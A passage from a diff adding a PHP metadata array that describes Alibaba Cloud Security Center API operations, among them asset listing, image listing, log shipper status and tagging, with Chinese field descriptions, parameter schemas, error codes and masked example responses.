], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 1, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '028CF634-5268-5660-9575-48C9ED6BF880', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'PageSize' => [ + 'description' => '分页大小。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'TotalCount' => [ + 'description' => '云资产总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'Instances' => [ + 'description' => '云资产详细信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '云资产详细信息。', + 'type' => 'object', + 'properties' => [ + 'RegionId' => [ + 'description' => '资产实例所属区域id。', + 'type' => 'string', + 'example' => 'cn-hanghzou', + ], + 'Vendor' => [ + 'description' => '资产厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '资产的类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS'."\n" + .'- **1**：负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .'- **6**：容器镜像服务'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .'- **9**：专有网络VPC'."\n" + .'- **11**：操作审计'."\n" + .'- **12**：CDN'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .'- **14**：云效'."\n" + .'- **16**：DDoS防护'."\n" + .'- **17**：Web应用防火墙'."\n" + .'- **18**：对象存储'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .'- **21**：微服务引擎'."\n" + .'- **22**：文件存储NAS'."\n" + .'- **23**：数据安全中心'."\n" + .'- **24**：弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .'- **26**：PolarDB-X'."\n" + .'- **27**：Elasticsearch', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetSubType' => [ + 'description' => '云产品的子类型。'."\n" + .'资产的类型-子类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS '."\n" + ."\n" + .' * **0**：实例'."\n" + .' * **1**：磁盘（存储）'."\n" + .' * **2**：安全组'."\n" + .'- **1**：负载均衡'."\n" + .' * **0**：负载均衡'."\n" + .' * **1**：应用型负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .' * **0**：实例'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .' * **0**：实例'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .' * **0**：实例'."\n" + .'- **6**：容器镜像服务'."\n" + .' * **1**：企业版'."\n" + .' * **2**：个人版'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .' * **0**：集群'."\n" + .'- **9**：专有网络VPC'."\n" + .' * **0**：NAT网关'."\n" + .' * **1**：EIP'."\n" + .' * **2**：VPN'."\n" + .' * **3**：FLOW_LOG'."\n" + .'- **11**：操作审计'."\n" + .' * **0**：跟踪'."\n" + .'- **12**：CDN'."\n" + .' * **0**：实例'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .' * **0**：证书'."\n" + .'- **14**：云效'."\n" + .' * **0**：组织'."\n" + .'- **16**：DDoS防护'."\n" + .' * **0**：实例'."\n" + .'- **17**：Web应用防火墙'."\n" + .' * **0**：域名'."\n" + .'- **18**：对象存储'."\n" + .' * **0**：Bucket'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .' * **0**：集群'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .' * **0**：实例'."\n" + .'- **21**：微服务引擎'."\n" + .' * **0**：集群'."\n" + .'- **22**：文件存储NAS'."\n" + .' * **0**：文件系统'."\n" + .'- **23**：数据安全中心'."\n" + .' * **0**：实例'."\n" + .'- **24**：弹性公网IP'."\n" + .' * **0**：任播弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .' * **0**：实例'."\n" + .'- **26**：PolarDB-X'."\n" + .' * **0**：实例'."\n" + .'- **27**：Elasticsearch'."\n" + .' * **0**：实例', + 'type' => 'string', + 'example' => '0', + ], + 'InstanceId' => [ + 'description' => '云资产实例id。', + 'type' => 'string', + 'example' => 'd-uf60vevzkztnflx7cny5', + ], + 'InstanceName' => [ + 'description' => '资产的实例名称。', + 'type' => 'string', + 'example' => 'yztest-l***', + ], + 'CreatedTime' => [ + 'description' => '实例创建时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1607365213000', + ], + 'InternetIp' => [ + 'description' => '实例的公网IP地址。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'AlarmStatus' => [ + 'description' => '云资产是否存在安全告警。取值：'."\n" + .'- **YES**：存在安全告警'."\n" + .'- **NO**：不存在安全告警', + 'type' => 'string', + 'example' => 'NO', + ], + 'RiskStatus' => [ + 'description' => '云资产是否存在安全风险。取值：'."\n" + .'- **YES**：存在'."\n" + .'- **NO**：不存在', + 'type' => 'string', + 'example' => 'NO', + ], + 'AssetTypeName' => [ + 'description' => '云资产类型名称。', + 'type' => 'string', + 'example' => 'ECS', + ], + 'AssetSubTypeName' => [ + 'description' => '云资产的子类型名称。', + 'type' => 'string', + 'example' => 'SECURITY_GROUP', + ], + 'SecurityInfo' => [ + 'description' => '云资产的安全信息。', + 'type' => 'string', + 'example' => '{"seriousNum":0,"appNum":0,"baselineMedium":0,"remindNum":0,"imageVulNntf":0,"cveNum":0,"vul":0,"uuid":"yuejia-test","emgNum":0,"weakPWNum":0,"imageMaliciousFileRemind":0,"imageBaselineMedium":0,"laterVulCount":0,"cmsNum":0,"imageMaliciousFileSerious":0,"agentlessMalicious":0,"suspNum":0,"imageBaselineHigh":0,"asapVulCount":0,"imageVulLater":0,"agentlessAll":0,"sysNum":0,"containerLater":0,"containerSuspicious":0,"imageBaselineNum":0,"newSuspicious":0,"nntfVulCount":0,"scaNum":0,"containerNntf":0,"health":0,"trojan":0,"suspicious":0,"imageMaliciousFileSuspicious":0,"containerRemind":0,"baselineLow":0,"imageVulAsap":0,"imageBaselineLow":0,"containerAsap":0,"agentlessBaseline":0,"agentlessVulSca":0,"agentlessVulCve":0,"containerSerious":0,"baselineHigh":0,"account":0,"baselineNum":5}', + ], + 'Tags' => [ + 'description' => '标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '标签。', + 'type' => 'string', + 'example' => 'AI', + ], + ], + 'VendorUid' => [ + 'description' => '多云实例的账号ID。', + 'type' => 'string', + 'example' => '123xxx', + ], + 'VendorUserName' => [ + 'description' => '多云实例的用户名称。', + 'type' => 'string', + 'example' => 'testxxx', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'AccountIdNotExist', + 'errorMessage' => 'AccountId not exist', + ], + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6BF880\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 2,\\n \\"PageSize\\": 100,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 20\\n },\\n \\"Instances\\": [\\n {\\n \\"RegionId\\": \\"cn-hanghzou\\",\\n \\"Vendor\\": 0,\\n \\"AssetType\\": 0,\\n \\"AssetSubType\\": \\"0\\",\\n \\"InstanceId\\": \\"d-uf60vevzkztnflx7cny5\\",\\n \\"InstanceName\\": \\"yztest-l***\\",\\n \\"CreatedTime\\": 1607365213000,\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"AlarmStatus\\": \\"NO\\",\\n \\"RiskStatus\\": \\"NO\\",\\n \\"AssetTypeName\\": \\"ECS\\",\\n \\"AssetSubTypeName\\": \\"SECURITY_GROUP\\",\\n \\"SecurityInfo\\": \\"{\\\\\\"seriousNum\\\\\\":0,\\\\\\"appNum\\\\\\":0,\\\\\\"baselineMedium\\\\\\":0,\\\\\\"remindNum\\\\\\":0,\\\\\\"imageVulNntf\\\\\\":0,\\\\\\"cveNum\\\\\\":0,\\\\\\"vul\\\\\\":0,\\\\\\"uuid\\\\\\":\\\\\\"yuejia-test\\\\\\",\\\\\\"emgNum\\\\\\":0,\\\\\\"weakPWNum\\\\\\":0,\\\\\\"imageMaliciousFileRemind\\\\\\":0,\\\\\\"imageBaselineMedium\\\\\\":0,\\\\\\"laterVulCount\\\\\\":0,\\\\\\"cmsNum\\\\\\":0,\\\\\\"imageMaliciousFileSerious\\\\\\":0,\\\\\\"agentlessMalicious\\\\\\":0,\\\\\\"suspNum\\\\\\":0,\\\\\\"imageBaselineHigh\\\\\\":0,\\\\\\"asapVulCount\\\\\\":0,\\\\\\"imageVulLater\\\\\\":0,\\\\\\"agentlessAll\\\\\\":0,\\\\\\"sysNum\\\\\\":0,\\\\\\"containerLater\\\\\\":0,\\\\\\"containerSuspicious\\\\\\":0,\\\\\\"imageBaselineNum\\\\\\":0,\\\\\\"newSuspicious\\\\\\":0,\\\\\\"nntfVulCount\\\\\\":0,\\\\\\"scaNum\\\\\\":0,\\\\\\"containerNntf\\\\\\":0,\\\\\\"health\\\\\\":0,\\\\\\"trojan\\\\\\":0,\\\\\\"suspicious\\\\\\":0,\\\\\\"imageMaliciousFileSuspicious\\\\\\":0,\\\\\\"containerRemind\\\\\\":0,\\\\\\"baselineLow\\\\\\":0,\\\\\\"imageVulAsap\\\\\\":0,\\\\\\"imageBaselineLow\\\\\\":0,\\\\\\"containerAsap\\\\\\":0,\\\\\\"agentlessBaseline\\\\\\":0,\\\\\\"agentlessVulSca\\\\\\":0,\\\\\\"agentlessVulCve\\\\\\":0,\\\\\\"containerSerious\\\\\\":0,\\\\\\"baselineHigh\\\\\\":0,\\\\\\"account\\\\\\":0,\\\\\\"baselineNum\\\\\\":5}\\",\\n \\"Tags\\": [\\n \\"AI\\"\\n ],\\n \\"VendorUid\\": \\"123xxx\\",\\n \\"VendorUserName\\": \\"testxxx\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '云产品资产列表', + ], + 'DescribeImageInfoList' => [ + 'summary' => '查询镜像列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '指定服务器的UUID。存在多个UUID时使用英文逗号（,）分隔。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~141932~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '391abd09184cbd3743d7f5ec125d****,'."\n" + .'e6aeb2a5b6004479398b0bcd1160****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回对象。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'BC3B0DAE-CC0E-59E9-9383-6F060F22****', + ], + 'ImageInfos' => [ + 'description' => '镜像信息images组成的集合。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像对象。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '镜像状态。', + 'type' => 'string', + 'example' => 'NORMAL', + ], + 'Endpoints' => [ + 'description' => '镜像服务的endpoint列表。', + 'type' => 'string', + 'example' => 'cn-hangzhou-x7', + ], + 'RiskStatus' => [ + 'description' => '镜像是否存在安全风险。取值：'."\n" + ."\n" + .'- **YES**：存在风险'."\n" + .'- **NO**：不存在风险', + 'type' => 'string', + 'example' => 'YES', + ], + 'VulStatus' => [ + 'description' => '实例是否存在漏洞。取值：'."\n" + .'- **YES**：存在漏洞。'."\n" + .'- **NO**：不存在漏洞。', + 'type' => 'string', + 'example' => 'YES', + ], + 'ImageCreate' => [ + 'description' => '镜像创建时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1636962328000', + ], + 'AlarmStatus' => [ + 'description' => '资产是否存在安全告警。取值：'."\n" + .'- **YES**：存在安全告警'."\n" + .'- **NO**：不存在安全告警', + 'type' => 'string', + 'example' => 'YES', + ], + 'Digest' => [ + 'description' => '镜像digest值。', + 'type' => 'string', + 'example' => 'a3521b04dfdd1361a24be6263f2983cf12ba910989f4d9f7324da7e1e89f****', + ], + 'RegistryType' => [ + 'description' => '注册类型。', + 'type' => 'string', + 'example' => 'harbor', + ], + 'ImageUpdate' => [ + 'description' => '镜像更新时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1636974116000', + ], + 'Tag' => [ + 'description' => '镜像标签。', + 'type' => 'string', + 'example' => 'v1', + ], + 'InstanceId' => [ + 'description' => '镜像实例的ID。', + 'type' => 'string', + 'example' => 'i-wz95abw6pa7y79ve****', + ], + 'RepoType' => [ + 'description' => '仓库类型，取值：'."\n" + ."\n" + .'- `PUBLIC`：公开'."\n" + ."\n" + .'- `PRIVATE`：私有', + 'type' => 'string', + 'example' => 'PUBLIC', + ], + 'RegionId' => [ + 'description' => '镜像实例所在的地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Uuid' => [ + 'description' => '服务器的uuid。', + 'type' => 'string', + 'example' => 'ff9ca084-7faa-4ab2-8728-69024755****', + ], + 'ImageSize' => [ + 'description' => '镜像大小。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '157408623', + ], + 'RepoId' => [ + 'description' => '镜像仓的ID。', + 'type' => 'string', + 'example' => 'crr-5qk9v2rdt0s****', + ], + 'TagImmutable' => [ + 'description' => '标签不可变性。', + 'type' => 'integer', + 'format' => 'int32', + 'enumValueTitles' => [ + '可变/覆盖', + '不可变/新增', + ], + 'example' => '0', + ], + 'VulCount' => [ + 'description' => '您资产中的漏洞总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AlarmCount' => [ + 'description' => '在当前容器组、应用、命名空间或集群中检测出的告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'ImageId' => [ + 'description' => '镜像的ID。', + 'type' => 'string', + 'example' => 'bb0175afea16138815a8900adeeb0315d88a83a2376eeffa14db1d693a15****', + ], + 'RepoName' => [ + 'description' => '镜像仓库的名称。', + 'type' => 'string', + 'example' => 'opa-test', + ], + 'RepoNamespace' => [ + 'description' => '镜像仓库的命名空间。', + 'type' => 'string', + 'example' => 'libssh2', + ], + 'SourceBizTag' => [ + 'title' => '镜像业务用途标签。', + 'description' => '镜像业务用途标签。', + 'type' => 'string', + 'example' => 'PAI', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BC3B0DAE-CC0E-59E9-9383-6F060F22****\\",\\n \\"ImageInfos\\": [\\n {\\n \\"Status\\": \\"NORMAL\\",\\n \\"Endpoints\\": \\"cn-hangzhou-x7\\",\\n \\"RiskStatus\\": \\"YES\\",\\n \\"VulStatus\\": \\"YES\\",\\n \\"ImageCreate\\": 1636962328000,\\n \\"AlarmStatus\\": \\"YES\\",\\n \\"Digest\\": \\"a3521b04dfdd1361a24be6263f2983cf12ba910989f4d9f7324da7e1e89f****\\",\\n \\"RegistryType\\": \\"harbor\\",\\n \\"ImageUpdate\\": 1636974116000,\\n \\"Tag\\": \\"v1\\",\\n \\"InstanceId\\": \\"i-wz95abw6pa7y79ve****\\",\\n \\"RepoType\\": \\"PUBLIC\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Uuid\\": \\"ff9ca084-7faa-4ab2-8728-69024755****\\",\\n \\"ImageSize\\": 157408623,\\n \\"RepoId\\": \\"crr-5qk9v2rdt0s****\\",\\n \\"TagImmutable\\": 0,\\n \\"VulCount\\": 1,\\n \\"AlarmCount\\": 10,\\n \\"ImageId\\": \\"bb0175afea16138815a8900adeeb0315d88a83a2376eeffa14db1d693a15****\\",\\n \\"RepoName\\": \\"opa-test\\",\\n \\"RepoNamespace\\": \\"libssh2\\",\\n \\"SourceBizTag\\": \\"PAI\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '控制台资产管理查询镜像列表', + ], + 'DescribeLogShipperStatus' => [ + 'summary' => '查询日志分析功能可用状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92136', + 'abilityTreeNodes' => [ + 'FEATUREsasA2G5MU', + ], + ], + 'parameters' => [ + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定取值为**sas**。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回对象。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413****', + ], + 'LogShipperStatus' => [ + 'description' => '日志投递状态集合。', + 'type' => 'object', + 'properties' => [ + 'OpenStatus' => [ + 'description' => '日志分析开通状态。取值：'."\n" + ."\n" + .'- **yes**：投递'."\n" + .'- **no**：未投递', + 'type' => 'string', + 'example' => 'yes', + ], + 'SlsServiceStatus' => [ + 'description' => 'SLS服务开通状态。取值：'."\n" + ."\n" + .'- **yes**：开通'."\n" + .'- **no**：未开通', + 'type' => 'string', + 'example' => 'yes', + ], + 'AuthStatus' => [ + 'description' => '日志分析服务授权状态。取值：'."\n" + ."\n" + .'- **yes**：授权'."\n" + .'- **no**：未授权', + 'type' => 'string', + 'example' => 'yes', + ], + 'BuyStatus' => [ + 'description' => '日志分析服务购买状态。取值：'."\n" + ."\n" + .'- **yes**：购买'."\n" + .'- **no**：未购买', + 'type' => 'string', + 'example' => 'yes', + ], + 'PostPaidSupportStatus' => [ + 'description' => '日志分析后付费支持状态。取值：'."\n" + ."\n" + .'- **yes**：支持'."\n" + .'- **no**：未支持', + 'type' => 'string', + 'example' => 'yes', + ], + 'PostPaidOpenStatus' => [ + 'description' => '日志分析后付费开通状态。取值：'."\n" + ."\n" + .'- **yes**：开通'."\n" + .'- **no**：未开通', + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'no', + ], + 'SlsProjectStatus' => [ + 'description' => '日志分析所使用的日志项目状态。取值：'."\n" + ."\n" + .'- **Normal**：正常'."\n" + .'- **Disable**：禁用', + 'type' => 'string', + 'enumValueTitles' => [ + 'normal' => '正常', + 'training' => '训练中', + ], + 'example' => 'Normal', + ], + 'EtlMetaVersion' => [ + 'description' => '日志分析投递字段版本。取值：'."\n" + ."\n" + .'- **SAS_V1**'."\n" + .'- **SAS_V2**', + 'type' => 'string', + 'example' => 'SAS_V1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413****\\",\\n \\"LogShipperStatus\\": {\\n \\"OpenStatus\\": \\"yes\\",\\n \\"SlsServiceStatus\\": \\"yes\\",\\n \\"AuthStatus\\": \\"yes\\",\\n \\"BuyStatus\\": \\"yes\\",\\n \\"PostPaidSupportStatus\\": \\"yes\\",\\n \\"PostPaidOpenStatus\\": \\"no\\",\\n \\"SlsProjectStatus\\": \\"Normal\\",\\n \\"EtlMetaVersion\\": \\"SAS_V1\\"\\n }\\n}","type":"json"}]', + 'title' => '查询日志分析功能状态', + ], + 'AddUninstallClientsByUuids' => [ + 'summary' => '添加客户端卸载实例名称。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91905', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '请求源ip。无需填写，系统自动获取。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XXX.XXX', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要解除绑定的非阿里服务器的UUID。存在多个UUID时使用英文逗号（,）分隔。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~141932~~)接口获取该参数。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => 'inet-183707ae-3bdf-4db0-b771-3e9962bf****,inet-49dceccc-4f01-469b-8411-2416ea12****', + ], + ], + [ + 'name' => 'Region', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器所在的地域。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'CallMethod', + 'in' => 'query', + 'schema' => [ + 'description' => '方法名默认值init。', + 'type' => 'string', + 'required' => false, + 'example' => 'init', + ], + ], + [ + 'name' => 'Feedback', + 'in' => 'query', + 'schema' => [ + 'description' => '反馈信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'reinstall', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回对象。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3956048F-9D73-5EDB-834B-4827BB483977', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB483977\\"\\n}","type":"json"}]', + 'title' => '添加客户端卸载实例名称', + ], + 'AddTagWithUuid' => [ + 'summary' => '通过uuid新增资产标签。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '91904', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'TagName', + 'in' => 'query', + 'schema' => [ + 'description' => '标签名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'InternetIp', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'schema' => [ + 'description' => '指定服务器UUID列表。多个UUID使用半角逗号（,）分隔。'."\n" + .'> 您可以调用[DescribeCloudCenterInstances ](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '71f5313e-4355-4c59-86d1-557dda7b****,71f5313e-4355-4c59-86d1-557dda7b****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回对象。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\"\\n}","type":"json"}]', + 'title' => '通过uuid新增资产标签', + 'description' => '资产标签可分为资产重要性标签和自定义标签。调用本接口时，仅支持资产绑定的自定义标签。', + ], + 'GetCloudAssetSummary' => [ + 'summary' => '获取云资产概要。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'Vendors', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定查询的云厂商列表。', + 'type' => 'array', + 'items' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'CloudAssetTypes', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '云资产的资产类型信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '云资产的资产类型信息列表。', + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + 'AssetType' => [ + 'description' => '资产的类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS'."\n" + .'- **1**：负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .'- **6**：容器镜像服务'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .'- **9**：专有网络VPC'."\n" + .'- **11**：操作审计'."\n" + .'- **12**：CDN'."\n" + .'- **13**：数字证书管理服务（原SSL证书）'."\n" + .'- **14**：云效'."\n" + .'- **16**：DDoS防护'."\n" + .'- **17**：Web应用防火墙'."\n" + .'- **18**：对象存储'."\n" + .'- **19**：云原生关系型数据库 PolarDB'."\n" + .'- **20**：云数据库 PostgreSQL 版'."\n" + .'- **21**：微服务引擎'."\n" + .'- **22**：文件存储NAS'."\n" + .'- **23**：数据安全中心'."\n" + .'- **24**：弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .'- **26**：PolarDB-X'."\n" + .'- **27**：Elasticsearch', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '4', + ], + 'AssetSubType' => [ + 'description' => '云产品的子类型。'."\n" + .'资产的类型-子类型。取值：'."\n" + ."\n" + .'- **0**：云服务器 ECS '."\n" + .' * **1**：磁盘（存储）'."\n" + .' * **2**：安全组'."\n" + .' * **100**：实例'."\n" + .'- **1**：负载均衡'."\n" + .' * **0**：负载均衡'."\n" + .' * **1**：应用型负载均衡'."\n" + .'- **3**：云数据库 RDS'."\n" + .' * **0**：实例'."\n" + .'- **4**：云数据库 MongoDB 版'."\n" + .' * **0**：实例'."\n" + .'- **5**：云数据库 Tair（兼容 Redis）'."\n" + .' * **0**：实例'."\n" + .'- **6**：容器镜像服务'."\n" + .' * **1**：企业版'."\n" + .' * **2**：个人版'."\n" + .'- **8**：容器服务Kubernetes版'."\n" + .' * **0**：集群'."\n" + .'- **9**：专有网络VPC'."\n" + 